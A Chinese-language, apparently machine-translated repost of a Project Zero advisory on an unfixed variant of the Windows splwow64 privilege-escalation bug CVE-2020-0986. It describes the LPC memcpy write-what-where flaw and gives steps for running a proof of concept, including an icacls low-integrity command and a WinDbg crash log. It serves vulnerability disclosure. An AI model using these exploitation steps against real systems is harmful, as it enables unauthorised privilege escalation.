CVE-2020-0986 Windows: splWOW64 权限提升

  • A+
所属分类:安全文章


Windows: splWOW64 权限提升


平台:

Windows 10 2004 (19041.508) Windows 10 2004 (19041.508)

类。特权的提升


摘要:

在野外被利用的CVE-2020-0986[1]没有被修复。该漏洞仍然存在,只是利用方法不得不改变。


一个低完整性的进程可以向splwow64.exe(中等完整性)发送LPC消息,并在splwow64的内存空间中获得一个写什么什么的基元。攻击者通过memcpy调用控制目标、复制的内容和复制的字节数。目标指针计算的偏移量只约束为。

偏移量<= 0x7FFFFFFF

偏移量+结构的感知大小 <= 0x7FFFFFFF


Splwow64将LPC消息传递给GdiPrinterThunk。脆弱的memcpy在消息0x6D中。


与CVE-2020-0986的唯一区别是,对于CVE-2020-0986,攻击者发送的是一个指针,而现在攻击者发送的是一个偏移量。

https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/



概念验证 


附上的是一个将0x42424242424242写入0x41414141的POC。附上Visual Studio项目。它必须以x64版本的方式构建才能工作。调试构建将无法连接到LPC端口。


一旦POC构建完成,运行以下命令将其完整性级别设置为低。

icacls splwow64_poc.exe /setintegritylevel L 完整性级别。


将CreateDC.exe移到与splwow64_poc.exe相同的目录中。CreateDC.exe只是一个x86应用程序,它调用CreateDCA来启动splwow64.exe。为了方便起见,我还将CreateDC.exe包含在项目的x64/Release目录下。


CreateDCA("Microsoft XPS Document Writer","Microsoft XPS Document Writer",0,0)。



然后通过点击图标或从cmd行运行POC。(如果你从Visual Studio运行,它不会找到CreateDC.exe):splwow64_poc.exe。


该POC改编自卡巴斯基发布的CVE-2020-0986的POC。它两次触发了memcpy漏洞:先是泄露消息存储的堆地址和偏移量加到什么地方生成指针,然后再进行写什么什么地方。


Debug Log:

Breakpoint 0 hitgdi32full!GdiPrinterThunk+0x68f:00007ffb`3de8a51f e8efaf0000      call    gdi32full!memcpy (00007ffb`3de95513)0:007> rrax=00000000024e6810 rbx=00000000024e66c0 rcx=0000000041414141rdx=0000000000b20200 rsi=0000000000b20088 rdi=0000000000000000rip=00007ffb3de8a51f rsp=000000000245f760 rbp=0000000000000001 r8=0000000000000008  r9=0000000000000020 r10=00000fff637551fdr11=2000000000000000 r12=00007ffb1baa8fe0 r13=0000000000785560r14=000000000072d2d0 r15=00007ffb3de60000iopl=0         nv up ei ng nz ac po cycs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297gdi32full!GdiPrinterThunk+0x68f:00007ffb`3de8a51f e8efaf0000      call    gdi32full!memcpy (00007ffb`3de95513)0:007> dp rdx00000000`00b20200  42424242`42424242 00000000`0000000000000000`00b20210  00000000`00000000 00000000`0000000000000000`00b20220  00000000`00000000 00000000`0000000000000000`00b20230  00000000`00000000 00000000`0000000000000000`00b20240  00040004`00000000 00000000`0000000000000000`00b20250  00000000`00000000 00000000`0000000000000000`00b20260  00000000`00000000 00000000`0000000000000000`00b20270  00000000`00000000 00000000`000000000:007> g(3268.2e88): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.ucrtbase!memcpy+0x8b:00007ffb`3e3e836b 488908          mov     qword ptr [rax],rcx ds:00000000`41414141=????????????????



参考文献:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2096

https://googleprojectzero.blogspot.com/p/rca-cve-2020-0986.html

https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/

https://www.anquanke.com/vul/id/2035005

本文始发于微信公众号(Khan安全团队):CVE-2020-0986 Windows: splWOW64 权限提升

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: